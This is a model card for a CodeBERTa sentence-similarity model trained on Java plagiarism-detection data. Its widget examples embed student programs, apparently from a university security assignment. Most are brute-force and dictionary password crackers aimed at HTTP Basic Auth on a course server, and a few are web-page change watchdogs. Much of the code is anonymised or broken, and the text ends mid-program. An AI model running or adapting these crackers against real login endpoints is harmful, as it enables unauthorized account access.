Model: buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:34368, loss:CachedMultipleNegativesRankingLoss, dataset:buelfhood/SOCO_TRAIN_java, arxiv:1908.10084, arxiv:2101.06983, base_model:huggingface/CodeBERTa-small-v1, base_model:finetune:huggingface/CodeBERTa-small-v1, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: huggingface/CodeBERTa-small-v1
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:34368, loss:CachedMultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget: source_sentence: import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class BruteForce {

    String password="";

    int num =401;


    public static void main (String[] args) {

      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

      BruteForce URLcon;

      int length = 0;

      String passwd="";

       int t0,t1;

      
      if (args.length == 0) {
      	
      	System.err.println (
      		
      		"Usage : java BruteForce <username>");
      	return;
      	
      	}
      String username = args[0];
      

      t0=System.currentTimeMillis();

      System.out.println ("  " + new Date());
      
      System.out.println ("Using BruteForce method  attack "+username+"'s password.Please waiting.......");

       for (int i=0;i<str.length();i++){

             passwd=str.substring(i,i+1);

             URLcon = new BruteForce (passwd,username);

             if ((URLcon.num)!=401) {

             	t1=System.currentTimeMillis();

                System.out.println("The password: "+ passwd);

             	double dt =t1-t0;



             	System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");

                System.out.println ("Finish  " + new Date());
                
             	return;

             }

             for (int j=0;j<str.length();j++){

                passwd =str.substring(i,i+1)+str.substring(j,j+1);

                URLcon = new BruteForce (passwd,username);

                if ((URLcon.num)!=401) {

             	     t1=System.currentTimeMillis();

                     System.out.println("The password: "+ passwd);


                     double dt =t1-t0;



                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
                     System.out.println ("Finish  " + new Date());
             	 return;

                 }
                for (int m=0;m<str.length();m++){

                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);

                  URLcon = new BruteForce (passwd,username);

                  if ((URLcon.num)!=401) {

                 	t1=System.currentTimeMillis();

                    System.out.println("The password: "+ passwd);


             	    double dt =t1-t0;



                 	System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
                    
                    System.out.println ("Finish  " + new Date());
                    
             	    return;

                  }


             }

}
}
        System.out.println(" not find the password");

}

   public  BruteForce  (String password, String username){

  	  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;

      

      try {

        String userPassword = username+":"+password ;

        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());

        URL url = new URL (urlString);

        HttpURLConnection uc = (HttpURLConnection) url.openConnection();

        uc.setRequestProperty ("Authorization", " " + encoding);

        url = uc.getResponseCode();


       }
        catch(MalformedURLException e){
       	  System.out.println(e);
       }catch(IOException e){
          System.out.println(e);
       }


   }
}
sentences: import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class Dictionary {

    private String password="";

    private int num=401;


    public static void main(String[] args) {


      Dictionary URLcon;

      int length = 0;

      String passwd="";

       int t0,t1;

      String line ="";
      
      if (args.length == 0) {
      	
      System.err.println (
      		
      		"Usage : java BruteForce <username>");
      return;
      	
      }
      
      String username = args[0];
      
      
      t0=System.currentTimeMillis();
      
      System.out.println ("  " + new Date());
      System.out.println ("Using Dictionary method  attack "+username+"'s password.  Please waiting.......");

      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));

           while ((passwd=in.readLine())!=null) {

           	 URLcon = new Dictionary (passwd,username);

             if ((URLcon.num)!=401) {

             	t1=System.currentTimeMillis();

                System.out.println("The password: "+ passwd);

             	double dt =t1-t0;

             	System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");
                
                System.out.println ("Finish  " + new Date());
                
             	return;

             }


           	}

      }catch (FileNotFoundException e){
      	System.out.println(e);
      }catch (IOException e){
      	System.out.println(e);
      }


       System.out.println(" not find the password");


}

   public  Dictionary  (String password,String username) {

  	  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;

      
      try {

        String userPassword = username+":"+password ;

        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());

        URL url = new URL (urlString);

        HttpURLConnection uc = (HttpURLConnection) url.openConnection();

        uc.setRequestProperty ("Authorization", " " + encoding);

         url = uc.getResponseCode();


       }
        catch(MalformedURLException e){
       	  System.out.println(e);
       }catch(IOException e){
          System.out.println(e);
       }


   }
}, import java.util.*;
import java.io.*;
import java.*;

public class Dogs5
{
   public static void main(String [] args) throws Exception
   {      
      executes("rm index.*");
      executes("wget http://www.cs.rmit.edu./students");

      while (true)
      {
         String addr= "wget http://www.cs.rmit.edu./students";
         executes(addr);
         String hash1 = md5sum("index.html");
         String hash2 = md5sum("index.html.1");
         System.out.println(hash1 +"|"+ hash2);
 
         BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));

         String line=" " ;
         String line1=" " ;
         String line2=" ";
         String line3=" ";
         String[] cad = new String[10];
        
         executes("./.sh");
  
         int i=0;
         while ((line = buf.readLine()) != null)
         {
            
              line1="http://www.cs.rmit.edu./students/images"+line;
            if (i==1)
               line2="http://www.cs.rmit.edu./students/images"+line;
            if (i==2)
               line3="http://www.cs.rmit.edu./students/images"+line;
            i++;
         }
         System.out.println(line1+" "+line2+" "+line3); 


         executes("wget "+line1);
         executes("wget "+line2);
         executes("wget "+line3);
         
         String hash3 = md5sum("index.html.2"); 
         String hash4 = md5sum("index.html.3"); 
         String hash5 = md5sum("index.html.4");

         


BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));

         String linee=" " ;
         String linee1=" " ;
         String linee2=" ";
         String linee3=" ";

         executes("./ip1.sh");

         int j=0;
         while ((linee = buf2.readLine()) != null)
         {

              linee1="http://www.cs.rmit.edu./students/images"+linee;
            if (j==1)
               linee2="http://www.cs.rmit.edu./students/images"+linee;
            if (j==2)
               linee3="http://www.cs.rmit.edu./students/images"+linee;
            j++;
         }
         System.out.println(line1+" "+line2+" "+line3);


         executes("wget "+linee1);
         executes("wget "+linee2);
         executes("wget "+linee3);

         String hash6 = md5sum("index.html.5");
         String hash7 = md5sum("index.html.6");
         String hash8 = md5sum("index.html.7");        
       
         boolean pict=false;
         if (hash3.equals(hash6))
            pict=true;

         boolean pict2=false;
         if (hash3.equals(hash6))
            pict2=true;
          
         boolean pict3=false;
         if (hash3.equals(hash6))
            pict3=true;

      
         if (hash1.equals(hash2))
         {    
           executes("./difference.sh");
           executes("./mail.sh");
 
         

         }
         else
         {
            if (pict || pict2 || pict3)
            {
              executes(".~/Assign2/difference.sh");            
              executes(".~/Assign2/mail2.sh");
            }

            executes(".~/Assign2/difference.sh");
            executes(".~/Assign2/mail.sh");
            
  
       
            executes("./reorder.sh");
            executes("rm index.html");
            executes("cp index.html.1 index.html");
            executes("rm index.html.1");
            executes("sleep 5"); 
        }  
     }
   }

   public static void executes(String comm) throws Exception
   {
   Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });

         BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));

         String cad;
         while(( cad = bf.readLine()) != null)
         {
            System.out.println();
         }
	 p.waitFor();
   }

   public static String md5sum(String file) throws Exception
   {
      String cad;
      String hash= "  ";      

      Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
                                             "-c", "md5sum "+file });
      BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));

      while((bf = cad.readLine()) != null)
      {
         StringTokenizer word=new StringTokenizer();
         hash=word.nextToken();
         System.out.println(hash);
      }
      return hash;      

   }

   
  
}

, import java.io.*;
import java.*;
import java.net.*;

public class BruteForce
{
   public static void main(String[] args) throws Exception
   {
      
     String password = checkPassword(); 

     System.out.println("Congratulations Your password is "+ password );
      
      

      URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
      HttpURLConnection sec = (HttpURLConnection)url.openConnection();
      sec.setRequestProperty("Authorization", " " + encode(":"+password));
      BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));
      String inputLine;

      while ((inputLine = in.readLine()) != null)
         System.out.println(inputLine);
      in.close();
  }

    

   private static String checkPassword() throws Exception
   {
      String Password=" ";
      int attempt=0;
      URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
      HttpURLConnection sec;
      String[] cad = {"a","b","c","d","e","f","g","h","i","j","k","l","m",
                      "n","o","p","q","r","s","t","u","v","w","x","y","z",
                      "A","B","C","D","E","F","G","H","I","J","K","L","M",
                      "N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};

      for (int i=0; i < cad.length; i++)
      {
         for (int j=0; j< cad.length;j++)
         {
            for (int k=0; k<cad.length;k++)
            {
               attempt++;
               String Passwd = new String(cad[i]+cad[j]+cad[k]);
               String userPasswd= ":"+Passwd;
               System.out.println(attempt+" "+userPasswd);
              
               sec = (HttpURLConnection)url.openConnection();
               sec.setRequestProperty("Authorization", " " + encode(userPasswd));

               if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
               {
                  Password=Passwd;
                  return Password;
               }
               sec.disconnect();
            }  
         }  
      }  
      return "Password not found";
   }

   private static String encode(String userPasswd) throws Exception
   {
      String ad;
      String encodedUserPasswd=" ";
      String addr= "~//base64_encode.php "+userPasswd ;
      Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr});
      BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
      
      while ( (cad = resp.readLine()) != null )
      {
         
         encodedUserPasswd=cad;
      }
      return encodedUserPasswd;
    }
}

, source_sentence: 





import java.util.*;
import java.io.*;
import java.net.*;

public class Watchdog extends TimerTask
{
	public void run()
	{
		Runtime t = Runtime.getRuntime();
	  	Process pr= null;
	  	String Fmd5,Smd5,temp1;
	  	int index;
          
	 	try
          	{
		    
		    pr = t.exec("md5sum csfirst.html");

                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());
                    BufferedReader bread = new BufferedReader(stre);
		    
		    s = bread.readLine();
		    index = s.indexOf(' ');
		    Fmd5 = s.substring(0,index);
		    System.out.println(Fmd5);
		    
		    pr = null;
		    
		    pr = t.exec("wget http://www.cs.rmit.edu./students/");
		    pr = null;
		    
		    pr = t.exec("md5sum index.html");
		    

		    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());
                    BufferedReader bread1 = new BufferedReader(stre1);
		    
		    temp1 = bread1.readLine();
		    index = temp1.indexOf(' ');
		    Smd5 = temp1.substring(0,index);
		    System.out.println(Smd5);
		
		    pr = null;
		
		    if(Fmd5 == Smd5)
		       System.out.println("  changes Detected");
		    else
		    {
		       pr = t.exec("diff csfirst.html index.html > report.html");
		       pr = null;
		       
		       try{
		       Thread.sleep(10000);
		       }catch(Exception e){}
		       
		       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");
		     
		       
		       
		    }   
		    
    	        }catch(java.io.IOException e){}
	}
}		

sentences: 





import java.util.*;
import java.io.*;
import java.net.*;

public class MyWatchDogTimer extends TimerTask
{
	public void run()
	{
	  Runtime rt = Runtime.getRuntime();
	  Process prss= null;
	  String initialmd5,presentmd5,finalmd5,temp1;
          String mesg1 = new String();
          String subject = new String("Report of WatchDog");

	  int i;
          
	  try
          {

              prss = rt.exec("md5sum first.html");

              InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread1 = new BufferedReader(instre1);
		    
             sw  = bufread1.readLine();
	      i = finalmd5.indexOf(' ');
	      initialmd5 = finalmd5.substring(0,i);
	      System.out.println("this is of first.html--->"+initialmd5);
		    

		    
              prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");

		    
              prss = rt.exec("md5sum present.html");
		    
              InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
              BufferedReader bufread2 = new BufferedReader(instre2);
		    
	      temp1 = bufread2.readLine();
	      i = temp1.indexOf(' ');
	      presentmd5 = temp1.substring(0,i);
	      System.out.println("this is of present.html---->"+presentmd5);
		
    
                 if(initialmd5.equals(presentmd5))
                     System.out.println("The checksum found using md5sum is same");
		 else
		    {
		      prss = rt.exec("diff first.html present.html > diff.html");
                      System.out.println(" is different"); 
                      prss = null;
                  mesg1 ="php mail.php";
		      prss = rt.exec(mesg1);
		    }   

                   prss = rt.exec("rm present.*");

    	     }catch(java.io.IOException e){}

        }
}		
, import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     File file = new File("words");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println("Crrect password is: " + inp[2]);
			 		 System.out.println("Number of attempts = " + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println("File not found: " + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, 

import java.net.*; 
import java.io.*; 
import java.util.Date; 
public class  Dictionary{
private static String password="   "; 

   
  public static void main(String[] args) {
   String Result="";   
	 if (args.length<1)
	 {
       System.out.println("Correct Format Filename  username e.g<>"); 
        System.exit(1);	
	 }
	 
	 Dictionary dicton1 = new Dictionary();
      Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); 
	  System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); 
      

 
 
  }



 private String Dict(String urlString,String username) 
 { 
  int cnt=0;
  FileInputStream stream=null;
  DataInputStream word=null;

	try{ 
	 stream = new FileInputStream ("/usr/share/lib/dict/words"); 

	word =new DataInputStream(stream);
	 t0 = System.currentTimeMillis();  
		 while (word.available() !=0)   
			{
									
			password=word.readLine();
				 if (password.length()!=3)
				 {
					continue;
				 }
				 System.out.print("crackin...:"); 
			     System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); 
			  URL url = new URL (urlString);
				String userPassword=username+":"+password;  
				   
				   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
					 URLConnection conc = url.openConnection();
						   conc.setRequestProperty  ("Authorization", " " + encoding);			   
						   conc.connect();  
						   cnt++;
					   if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
						 {
							System.out.println("The Number Of Attempts : "+cnt); 
							 t1 = System.currentTimeMillis();  
							 net=t1-t0;
							System.out.println("Total Time in secs..."+net/1000); 
							return password;  
						}
 		 		
	         }

				}

		      	catch (Exception e )
				{
				  e.printStackTrace();   

				}

    
try
{
word.close();
stream.close(); 
	
}
 
catch (IOException e)
{ 
System.out.println("Error in closing input file:\n" + e.toString()); 
} 

return "Password could not  found";  
 } 
 

}, source_sentence: import java.net.*;
import java.io.*;


public class Dictionary extends Authenticator {

    
    private String username;
    
    private char [] thisPassword;
    
    private URL url;
    
    private BufferedReader bf;

    
    public static void main(String [] args) {
        if(args.length!=3) {
            System.err.println(
                    "usage: Dictionary <url> <username> <dictionary-file>");
            System.exit(1);
        }
        Dictionary d = null;
        try {
            d = new Dictionary(args[0], args[1], args[2]);
        } catch (MalformedURLException me) {
            me.printStackTrace();
            System.exit(1);
        } catch (FileNotFoundException fe) {
            fe.printStackTrace();
            System.exit(1);
        }
        d.work();
    }

    
    public Dictionary(String url, String username, String passwordFilename) 
            throws MalformedURLException, FileNotFoundException {
        this.url = new URL(url);
        this.username = username;
        thisPassword = new char [] {'a'};
        File f = new File(passwordFilename);
        FileReader fr = new FileReader(f);
        bf  = new BufferedReader(fr);
    }

    
    public void work() {
        Authenticator.setDefault(this);
        HttpURLConnection uc = null;
        try {                                                 
            uc = (HttpURLConnection) url.openConnection();    
            uc.connect();                                     
            while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
                thisPassword !=null) {
                try {                                         
                    InputStream is = uc.getInputStream();     
                    uc.connect();                             
                } catch (ProtocolException pe) {              
                    uc = (HttpURLConnection) url.openConnection();          
                } catch (NullPointerException npe) {          
                    npe.printStackTrace();                    
                    System.exit(1);                           
                }                                             
            }                                                 
        } catch (java.io.IOException e ) {                    
            e.printStackTrace();                             
            System.exit(1);                                   
        }                                                     
        System.out.println("password=" + new String(thisPassword));
    }

    
    public PasswordAuthentication getPasswordAuthentication() {
        String s=null;
        try {
            for(s = bf.readLine(); s!=null; s = bf.readLine()) {
                if(s.length()==3) {
                    break;
                }
            } 
        } catch (IOException e) {
            e.printStackTrace();
            System.exit(1);
        }
        if(s.length()!=3) {
            thisPassword = null;
        } else {
            thisPassword = s.toCharArray();
        }
        return new PasswordAuthentication(username, thisPassword);
    }
}

sentences: import java.net.*;
import java.io.*;


public class Dictionary {
  private String strUserName;
  private String strURL;
  private String strDictPath;
  private int iAttempts;

    
    public Dictionary(String strURL,String strUserName,String strDictPath) {
    this.strURL = strURL;
    this.strUserName = strUserName;
    this.iAttempts = 0 ;
    this.strDictPath = strDictPath;
    }
  

  public String getPassword(){
      URL u;
      String result ="";
      PassGenDict PG = new PassGenDict(3,strDictPath);
      URLConnection uc;
      String strPassword = new String();
      String strEncode;
        try{
        while (result.compareTo("HTTP/1.1 200 OK")!=0){
      
          strEncode = PG.getNewPassword();
          u = new URL(strURL);
          uc = u.openConnection();
          uc.setDoInput(true);
          uc.setDoOutput(true);
          strPassword = strEncode;
          strEncode =  strUserName + ":" + strEncode;
          
        strEncode = new String(Base64.encode(strEncode.getBytes()));
          uc.setRequestProperty("Authorization"," " + strEncode);
            
      result = uc.getHeaderField(0);
          uc = null;
          u = null;
          iAttempts++;
        }

      }
      catch (Exception me) {
      System.out.println("MalformedURLException: "+me);
      }
      return(strPassword);
  }
 
   public int getAttempts(){
    return (iAttempts);
  };
  
  public static void  main(String arg[]){
     timeStart = 0;
     timeEnd = 0;
    
    if (arg.length == 3) {
    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);

    System.out.println("Processing ... ");
    timeStart = System.currentTimeMillis();
    System.out.println("Password = " + BF.getPassword());
    timeEnd = System.currentTimeMillis();
    System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
    System.out.println("Total Attempts  = " + BF.getAttempts());
    }
    else {
       System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");

    }

  }
}


class PassGenDict {

  private char[] password;
  private String line;
  int iPassLenght;
  private BufferedReader inputFile;
  public PassGenDict(int lenght, String strDictPath) {
    try{
      inputFile = new BufferedReader(new FileReader(strDictPath));
    }
    catch (Exception e){
    }
    iPassLenght = lenght;
  }
   
 public String getNewPassword()
    throws PasswordFailureException{
    try {
      {
        line = inputFile.readLine();
      }while (line.length() != iPassLenght);

    }
    catch (Exception e){
      throw new PasswordFailureException ();
    }
    return (line);
  }
}

class PasswordFailureException extends RuntimeException {

  public PasswordFailureException() {
  }
}, import java.net.*;
import java.io.*;


public class BruteForce extends Authenticator {

    
    private String username;
    
    private URL url;
    
    private char [] nextPassword;
    
    private char [] thisPassword;

    
    public static void main(String [] args) {
        if(args.length!=2) {
            System.err.println("usage: BruteForce <url> <username>");
            System.exit(1);
        }
        BruteForce bf = null;
        try {
            bf = new BruteForce(args[0], args[1]);
        } catch (MalformedURLException me) {
            me.printStackTrace();
            System.exit(1);
        }
        bf.work();
        System.exit(0);
    }

    
    public BruteForce(String url, String username) 
            throws MalformedURLException {
        this.url = new URL(url);
        this.username = username;
        this.nextPassword = new char [] {'a'};
    }

    
    public void work() {
        Authenticator.setDefault(this);
        HttpURLConnection uc = null;
        try {
            uc = (HttpURLConnection) url.openConnection();
            uc.connect();
	        while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED
                    && nextPassword!=null) {
                try {
                    InputStream is = uc.getInputStream();
                    uc.connect();
                } catch (ProtocolException pe) {
                    uc = (HttpURLConnection) url.openConnection();
                } catch (NullPointerException npe) {
                    npe.printStackTrace();
                    System.exit(1);
                } 
            }
        } catch (java.io.IOException e) {
            e.printStackTrace();
            System.exit(1);
        }
        System.out.println("password=" + new String(thisPassword));
    }

    
    public PasswordAuthentication getPasswordAuthentication() {
        createNextPassword();
        return new PasswordAuthentication(username, thisPassword);
    }

    
    public void createNextPassword() {
        int i;
        if(thisPassword==null) {
            thisPassword = new char [] {'A', 'A', 'A'};
            nextPassword = new char [] {'A', 'A', 'B'};
            return;
        }
        thisPassword = nextPassword;
        if(nextPassword[2]=='Z') {
            nextPassword[2]='a';
            return;
        } else if(nextPassword[2]!='z') {
            i = (int) nextPassword[2];
            nextPassword[2]=(char) ++i;
        } else {
            nextPassword[2]='A';
            if(nextPassword[1]=='Z') {
                nextPassword[1]='a';
            } else if(nextPassword[1]!='z') {
                i = (int) nextPassword[1];
                nextPassword[1]=(char) ++i;
            } else {
                nextPassword[1]='A';
                if(nextPassword[0]=='Z') {
                    nextPassword[0]='a';
                } else if(nextPassword[0]!='z') {
                    i = (int) nextPassword[0];
                    nextPassword[0]=(char) ++i;
                } else {
                    nextPassword = null;
                }
            }
        }
    }
}
, 

import java.net.*;
import java.io.*;
	

class MyAuthenticator  extends Authenticator {

   String password;

   public MyAuthenticator(String pwdin) {
       password = pwdin;
   }
      
   protected PasswordAuthentication getPasswordAuthentication(){
	String  pwd = password;
	return new PasswordAuthentication("",pwd.toCharArray());
   }
}
, source_sentence: import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod("HEAD");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println("cracked with " + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println(" was  exception: " + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}

sentences: import java.io.*;
import java.util.*;
import java.net.*;
import java.net.Authenticator;


public class  BruteForce
{

	private String result ="";

	public class customAuthenticator extends Authenticator {
	       public customAuthenticator(String passwd)
           {
            this.pass = passwd;
           }

	       protected PasswordAuthentication getPasswordAuthentication()
           {
	                 return new PasswordAuthentication("",pass.toCharArray());
           }
           public String pass;
    }

    public BruteForce() {
            java.util.Date d = java.util.Calendar.getInstance().getTime();
            System.out.println(d.toString());
		char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',
							  'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',
							   'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

		String record = null;



        String url = "http://sec-crack.cs.rmit.edu./SEC/2/";

		char pass[] = {'x','x','x'};
		int count=1;
		String passwd=new String();
        HttpURLConnection connection = null;
        URL u = null;

        try
        {
         u = new URL(url);

        }
        catch (MalformedURLException e)
        {
        }

        for(int a=0;a<words.length;a++)
        {
                for(int b=0;b<words.length;b++)
                {
                        for(int c=0;c<words.length;c++)
                        {
                                 pass[0]=words[a];
                                 pass[1]=words[b];
                                 pass[2]=words[c];
                                 passwd=passwd.copyValueOf(pass,0,3);
                                 System.out.println(count+ " ) " + passwd);
                                 count++;
                                 try
                                 {

                                       connection = (HttpURLConnection) u.openConnection();
                                       Authenticator.setDefault(new customAuthenticator(passwd));

                                       if (connection.getResponseCode()!=401)
                                       {
                                            System.out.print("The password is : "+passwd);
                                            System.out.println();
                                            java.util.Date d1 = java.util.Calendar.getInstance().getTime();
                                            System.out.println(d1.toString());
                                            System.out.println("\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\n");

                                            System.exit(0);
                                       }
                                       else
                                       {
                                       }
                                       connection.disconnect();
                                 }
                                 catch (IOException e)
                                 {
                                       System.out.println(e);
                                 }
                        }
                }
        }
    }

	public static void main(String[] args)
	{


		BruteForce  = new BruteForce();
	}
}, 


import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.UsernamePasswordCredentials;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.httpclient.methods.GetMethod;




public class  BruteForce{

    static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty("logonSite");
    static final int    LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty("logonPort")).intValue();

    static final int    USE_PROXY_SERVER  = Integer.valueOf(BruteForcePropertyHelper.getProperty("useProxyServer")).intValue();
    static final int    PROXY_PORT        = Integer.valueOf(BruteForcePropertyHelper.getProperty("proxyPort")).intValue();

    static final String PROXY_SERVER      = BruteForcePropertyHelper.getProperty("proxyServer");
    static final String PROXY_USENAME     = BruteForcePropertyHelper.getProperty("proxyUserName");
    static final String PROXY_PASSWORD    = BruteForcePropertyHelper.getProperty("proxypassword");

    static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty("getMethod");
    static final int    NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty("numberOfGetsBeforeReleaseConnection")).intValue();

    static final String[] cValidChars	 = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};

    public BruteForce() {
        super();
    }




    public static void main (String[] args) throws Exception {

		String	statusLine = " ";
		int		count = 0;
		int		firstLetterIndex = 0;
		int		secondLetterIndex = 0;
		int		thirdLetterIndex = 0;
		int		divValue = 0;




		String userName = "";
		String password = "";


        HttpClient client = new HttpClient();

		

        if (USE_PROXY_SERVER == 1) {
  			client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
  			client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));

        }

